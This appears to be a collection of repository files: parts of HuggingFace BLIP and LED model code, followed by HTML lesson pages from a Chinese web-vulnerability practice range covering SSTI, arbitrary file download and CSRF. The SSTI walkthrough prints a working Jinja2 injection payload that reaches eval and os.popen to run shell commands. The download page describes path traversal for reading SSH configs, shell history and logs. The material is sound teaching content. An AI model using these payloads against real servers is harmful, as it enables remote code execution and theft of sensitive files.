assert out[0].tolist() == [30522, 1037, 2450, 3564, 2006, 1996, 3509, 2007, 2014, 3899, 102]
if pytorch_dump_folder_path is not None:
hf_model.save_pretrained(pytorch_dump_folder_path)
# model_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/models/model_vqa.pth'
model_url = (
"https://storage.googleapis.com/sfr-vision-language-research/BLIP/models/model_base_vqa_capfilt_large.pth"
)
vqa_model = blip_vqa(pretrained=model_url, image_size=image_size, vit="base")
vqa_model.eval()
modified_state_dict = vqa_model.state_dict()
for key in modified_state_dict.copy():
value = modified_state_dict.pop(key)
renamed_key = rename_key(key)
modified_state_dict[renamed_key] = value
hf_vqa_model = BlipForQuestionAnswering(config)
hf_vqa_model.load_state_dict(modified_state_dict)
question = ["How many dogs are in this image?"]
question_input_ids = tokenizer(question, return_tensors="pt").input_ids
answer = hf_vqa_model.generate(question_input_ids, image)
print(tokenizer.decode(answer[0]))
assert tokenizer.decode(answer[0]) == "[UNK] 1 [SEP]"
if pytorch_dump_folder_path is not None:
hf_vqa_model.save_pretrained(pytorch_dump_folder_path + "_vqa")
model_url = "https://storage.googleapis.com/sfr-vision-language-research/BLIP/models/model_base_retrieval_coco.pth"
itm_model = blip_itm(pretrained=model_url, image_size=image_size, vit="base")
itm_model.eval()
modified_state_dict = itm_model.state_dict()
for key in modified_state_dict.copy():
value = modified_state_dict.pop(key)
renamed_key = rename_key(key)
modified_state_dict[renamed_key] = value
hf_itm_model = BlipForImageTextRetrieval(config)
question = ["A picture of a woman with a dog sitting in a beach"]
question_input_ids = tokenizer(
question,
return_tensors="pt",
padding="max_length",
truncation=True,
max_length=35,
).input_ids
hf_itm_model.load_state_dict(modified_state_dict)
hf_itm_model.eval()
out_itm = hf_itm_model(question_input_ids, image, use_itm_head=True)
out = hf_itm_model(question_input_ids, image, use_itm_head=False)
assert out[0].item() == 0.2110687494277954
assert torch.nn.functional.softmax(out_itm[0], dim=1)[:, 1].item() == 0.45698845386505127
if pytorch_dump_folder_path is not None:
hf_itm_model.save_pretrained(pytorch_dump_folder_path + "_itm")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--pytorch_dump_folder_path", default=None, type=str, help="Path to the output PyTorch model.")
parser.add_argument("--config_path", default=None, type=str, help="Path to hf config.json of model to convert")
args = parser.parse_args()
convert_blip_checkpoint(args.checkpoint_path, args.pytorch_dump_folder_path, args.config_path)
|
27182812/ChatGLM-LLaMA-chinese-insturct | 6,152 | src/transformers/models/blip/processing_blip.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Processor class for Blip.
"""
from typing import List, Optional, Union
from ...processing_utils import ProcessorMixin
from ...tokenization_utils_base import BatchEncoding, PaddingStrategy, PreTokenizedInput, TextInput, TruncationStrategy
from ...utils import TensorType
class BlipProcessor(ProcessorMixin):
r"""
Constructs a BLIP processor which wraps a BERT tokenizer and BLIP image processor into a single processor.
[`BlipProcessor`] offers all the functionalities of [`BlipImageProcessor`] and [`BertTokenizerFast`]. See the
docstring of [`~BlipProcessor.__call__`] and [`~BlipProcessor.decode`] for more information.
Args:
image_processor (`BlipImageProcessor`):
An instance of [`BlipImageProcessor`]. The image processor is a required input.
tokenizer (`BertTokenizerFast`):
An instance of ['BertTokenizerFast`]. The tokenizer is a required input.
"""
attributes = ["image_processor", "tokenizer"]
image_processor_class = "BlipImageProcessor"
tokenizer_class = ("BertTokenizer", "BertTokenizerFast")
def __init__(self, image_processor, tokenizer):
tokenizer.return_token_type_ids = False
super().__init__(image_processor, tokenizer)
self.current_processor = self.image_processor
def __call__(
self,
images=None,
text: Union[TextInput, PreTokenizedInput, List[TextInput], List[PreTokenizedInput]] = None,
add_special_tokens: bool = True,
padding: Union[bool, str, PaddingStrategy] = False,
truncation: Union[bool, str, TruncationStrategy] = None,
max_length: Optional[int] = None,
stride: int = 0,
pad_to_multiple_of: Optional[int] = None,
return_attention_mask: Optional[bool] = None,
return_overflowing_tokens: bool = False,
return_special_tokens_mask: bool = False,
return_offsets_mapping: bool = False,
return_token_type_ids: bool = False,
return_length: bool = False,
verbose: bool = True,
return_tensors: Optional[Union[str, TensorType]] = None,
**kwargs,
) -> BatchEncoding:
"""
This method uses [`BlipImageProcessor.__call__`] method to prepare image(s) for the model, and
[`BertTokenizerFast.__call__`] to prepare text for the model.
Please refer to the docstring of the above two methods for more information.
"""
if images is None and text is None:
raise ValueError("You have to specify either images or text.")
# Get only text
if images is None:
self.current_processor = self.tokenizer
text_encoding = self.tokenizer(
text=text,
add_special_tokens=add_special_tokens,
padding=padding,
truncation=truncation,
max_length=max_length,
stride=stride,
pad_to_multiple_of=pad_to_multiple_of,
return_attention_mask=return_attention_mask,
return_overflowing_tokens=return_overflowing_tokens,
return_special_tokens_mask=return_special_tokens_mask,
return_offsets_mapping=return_offsets_mapping,
return_token_type_ids=return_token_type_ids,
return_length=return_length,
verbose=verbose,
return_tensors=return_tensors,
**kwargs,
)
return text_encoding
# add pixel_values
encoding_image_processor = self.image_processor(images, return_tensors=return_tensors)
if text is not None:
text_encoding = self.tokenizer(
text=text,
add_special_tokens=add_special_tokens,
padding=padding,
truncation=truncation,
max_length=max_length,
stride=stride,
pad_to_multiple_of=pad_to_multiple_of,
return_attention_mask=return_attention_mask,
return_overflowing_tokens=return_overflowing_tokens,
return_special_tokens_mask=return_special_tokens_mask,
return_offsets_mapping=return_offsets_mapping,
return_token_type_ids=return_token_type_ids,
return_length=return_length,
verbose=verbose,
return_tensors=return_tensors,
**kwargs,
)
else:
text_encoding = None
if text_encoding is not None:
encoding_image_processor.update(text_encoding)
return encoding_image_processor
def batch_decode(self, *args, **kwargs):
"""
This method forwards all its arguments to BertTokenizerFast's [`~PreTrainedTokenizer.batch_decode`]. Please
refer to the docstring of this method for more information.
"""
return self.tokenizer.batch_decode(*args, **kwargs)
def decode(self, *args, **kwargs):
"""
This method forwards all its arguments to BertTokenizerFast's [`~PreTrainedTokenizer.decode`]. Please refer to
the docstring of this method for more information.
"""
return self.tokenizer.decode(*args, **kwargs)
@property
def model_input_names(self):
tokenizer_input_names = self.tokenizer.model_input_names
image_processor_input_names = self.image_processor.model_input_names
return list(dict.fromkeys(tokenizer_input_names + image_processor_input_names))
|
2740908911/Pilot-Web | 5,472 | pilot-client/pages/ssti/ssti_jinja2.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SSTI模板注入-JINJA2模板注入</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>JINJA2模板注入</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">输入你的payload</h3>
</div>
<form action="" onsubmit="return false">
<div class="card-body">
<div class="form-group">
<input type="text" class="form-control" name="spelText" id="payload" placeholder="Enter spelText">
</div>
<button type="submit" class="btn btn-primary" onclick="ToSSTI()">执行语句</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>你知道吗,Jinja2模板注入的思想精髓,在于python代码逃逸!!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>在漏洞页面直接输入Payload即可,尝试表达式</span><code>{{7*7}}</code><span>进行运算:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>尝试执行命令,打印字符(payload有多种,这里随便测试一种):</span></p><ul><li><p><code>{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("echo fanqie").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}</code></p></li></ul><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在后端接收前端传参用作模板生成时,应对其进行严格过滤,而不是直接渲染或拼接使用:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="215px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="7120px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SSTI模板注入", ["动态使用表达式"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function ToSSTI() {
var payload = document.getElementById('payload').value;
var url = 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/ssti/l1/jinja2?param=' + encodeURIComponent(payload);
var xhr = new XMLHttpRequest();
xhr.open("GET", url, true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
$("#notice")[0].innerHTML = generateNote(xhr.responseText);
} else if (xhr.readyState === 4 && xhr.status !== 200) {
console.error('Error with the request: ' + xhr.status);
}
};
xhr.send();
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 2,787 | pilot-client/pages/ssti/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SSTI模板注入-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light"><p>SSTI(Server-Side Template Injection)是一种常见的Web应用程序漏洞,攻击者可以通过SSTI漏洞在Web应用程序中注入恶意模板代码,从而执行任意的命令或者获取敏感信息。</p>
<p>漏洞成因是服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中(一般可以执行各种表达式),执行了攻击者插入的可以破坏模板结构的语句(恶意Payload),因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。</p>
<p>不同代码的后端程序会采用不同的模板引擎,而各个模板引擎注入的语法也有不同。一种常见的方法是使用来自不同模板引擎的语法注入任意数学运算,根据返回的结果来判断,有一张出圈的决策树图如下:</p>
<div class="card col-md-6 col-lg-8 col-xl-8 ">
<img class="card-img-top" src="assist/ssti-1.jpg" >
</div>
<p>由于本靶场使用Python Flask编写,所以只模拟了基于jinja2模板的SSTI漏洞。除此之外Python还有类似Django、Mako等较为知名的模板会产生SSTI漏洞。</p>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SSTI模板注入", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 3,008 | src/transformers/models/led/__init__.py | # Copyright 2021 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import TYPE_CHECKING
from ...utils import (
OptionalDependencyNotAvailable,
_LazyModule,
is_tf_available,
is_tokenizers_available,
is_torch_available,
)
_import_structure = {
"configuration_led": ["LED_PRETRAINED_CONFIG_ARCHIVE_MAP", "LEDConfig"],
"tokenization_led": ["LEDTokenizer"],
}
try:
if not is_tokenizers_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["tokenization_led_fast"] = ["LEDTokenizerFast"]
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_led"] = [
"LED_PRETRAINED_MODEL_ARCHIVE_LIST",
"LEDForConditionalGeneration",
"LEDForQuestionAnswering",
"LEDForSequenceClassification",
"LEDModel",
"LEDPreTrainedModel",
]
try:
if not is_tf_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_tf_led"] = ["TFLEDForConditionalGeneration", "TFLEDModel", "TFLEDPreTrainedModel"]
if TYPE_CHECKING:
from .configuration_led import LED_PRETRAINED_CONFIG_ARCHIVE_MAP, LEDConfig
from .tokenization_led import LEDTokenizer
try:
if not is_tokenizers_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .tokenization_led_fast import LEDTokenizerFast
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_led import (
LED_PRETRAINED_MODEL_ARCHIVE_LIST,
LEDForConditionalGeneration,
LEDForQuestionAnswering,
LEDForSequenceClassification,
LEDModel,
LEDPreTrainedModel,
)
try:
if not is_tf_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_tf_led import TFLEDForConditionalGeneration, TFLEDModel, TFLEDPreTrainedModel
else:
import sys
sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
|
2740908911/Pilot-Web | 2,799 | pilot-client/pages/download/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件下载-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>一些网站由于业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,攻击者就能够通过回溯符../或绝对路径跳转到任意目录查看或下载任意的文件;这可能是代码源文件,敏感配置文件等等,在特定的场景下,还可能造成SSRF漏洞。</p>
<p>一般情况下,攻击者可利用的文件有以下几种:</p>
<ol>
<li><p>查看常规的配置文件,如ssh、数据库、ftp等</p></li>
<li><p>查看常规的包含敏感信息的文件,如各用户的.bash_history等</p></li>
<li><p>查看网站日志access.log,找找网站后台、用户密码、别人的shell等</p></li>
<li><p>对Web应用程序进行安全漏洞扫描和渗透测试,及时发现和修复漏洞。</p></li>
<li><p>查看源代码进行审计</p></li>
</ol>
<p>总体来说,就是到处翻文件,找对我们渗透有帮助的文件获取信息即可。</p>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件下载", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 5,354 | pilot-client/pages/download/file_download.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件下载-任意文件下载</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>任意文件下载</strong></h3>
</div>
<div class="card-body">
<table class="table table-bordered">
<thead>
<tr>
<th>编号</th>
<th>文件名</th>
<th>文件类型</th>
<th>操作</th>
</tr>
</thead>
<tbody id="FileData">
<tr>
<td>1</td>
<td>fanqieLogo.png</td>
<td>image/png</td>
<td><a href="http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/fd/l1/download?file=fanqieLogo.png" target="_blank" style="color: #53aefd;">下载</a></td>
</tr>
<tr>
<td>2</td>
<td>HelloWorld.py</td>
<td>text/plain</td>
<td><a href="http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/fd/l1/download?file=HelloWorld.py" target="_blank" style="color: #53aefd;">下载</a></td>
</tr>
<tr>
<td>3</td>
<td>fanqie想说的话.txt</td>
<td>text/plain</td>
<td><a href="http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/fd/l1/download?file=fanqie想说的话.txt" target="_blank" style="color: #53aefd;">下载</a></td>
</tr>
<tr>
<td>4</td>
<td>fanqie的自拍照.jpeg</td>
<td>image/jpeg</td>
<td><a href="http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/fd/l1/download?file=fanqie的自拍照.jpeg" target="_blank" style="color: #53aefd;">下载</a></td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>我的服务器上就这么点东西,你还想下载什么??!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,抓包并下载任意文件:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>发现参数</span><code>file</code><span>传入了文件名,尝试穿越目录下载任意文件:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在接收前端传来的文件地址时,直接拼接了下载路径,且未对目录穿越符进行过滤,可直接穿越目录下载服务器文件:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="305px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="6050px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件下载", ["任意文件下载"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 2,980 | pilot-client/pages/csrf/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CSRF跨站请求伪造</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>跨站请求伪造(Cross-site request forgery),也被称为 one-click attack ,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本XSS相比,XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户网页浏览器的信任。</p>
<p>CSRF攻击可以造成的危害包括但不限于:修改用户信息、发起转账、删除数据、发表评论等。</p>
<p>CSRF攻击通常包括以下步骤:</p>
<ol>
<li><p>攻击者构造一个恶意网页,其中包含一个指向目标网站的请求,如一个图片、链接或表单。</p>
</li>
<li><p>
用户在已经登录的目标网站中打开了恶意网页,浏览器自动向目标网站发送了一个请求,这个请求被目标网站认为是合法的,并且被执行。</p>
</li>
<li><p>目标网站根据用户的身份认证状态,处理了这个伪造请求,导致攻击者实现了攻击目的。</p>
</li>
</ol>
<p>简单来说,CSRF就是你点击我构造的恶意链接,我就可以以你的名义去发起一个http请求。</p>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("CSRF跨站请求伪造", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 11,320 | pilot-client/pages/csrf/csrf.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CSRF跨站请求伪造-CSRF</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>CSRF</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary">
<div class="card-header" id="UserInfoTitle" style="display: none;">
<h3 class="card-title">用户信息</h3>
</div>
<div class="card-body" id="UserInfo" style="display: none;">
<div class="form-group">
<label for="displayPid">工号</label>
<input type="text" class="form-control" id="displayPid" readonly>
</div>
<div class="form-group">
<label for="displayUsername">用户名</label>
<input type="text" class="form-control" id="displayUsername" readonly>
</div>
<div class="form-group">
<label for="displayPhone">手机号</label>
<input type="tel" class="form-control" id="displayPhone">
</div>
<div class="form-group">
<label for="displayQQ">QQ号</label>
<input type="text" class="form-control" id="displayQQ">
</div>
<button id="updateUserInfoButton" class="btn btn-primary">确认修改</button>
<button id="logoutButton" class="btn btn-primary">返回登录</button>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>一道经典的面试题:XSS和CSRF在攻击原理、利用方式和漏洞修复上有什么区别?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,登录</span><code>admin</code><span>账号:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>抓包,点击</span><strong><span>确认修改</span></strong><span>按钮:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>发现是GET请求;删除请求头中</span><code>Referer和Origin</code><span>字段,不影响发包;且认证信息通过Cookie存储,而不是Token,很容易造成GET型的CSRF。</span></p></li><li><p><span>在Burp中右键请求包,选择相关工具中的生产CSRF POC,修改参数</span><code>phone</code><span>的值为114514,点击在浏览器中测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li><li><p><span>复制链接后,在第一步登录admin后的浏览器页面中打开,发现修改成功:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-4.png" referrerpolicy="no-referrer" alt="l1-4"></div></p></li><li><p><span>回到漏洞页面,重新登录后,发现数据已经被修改:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-5.png" referrerpolicy="no-referrer" alt="l1-5"></div></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
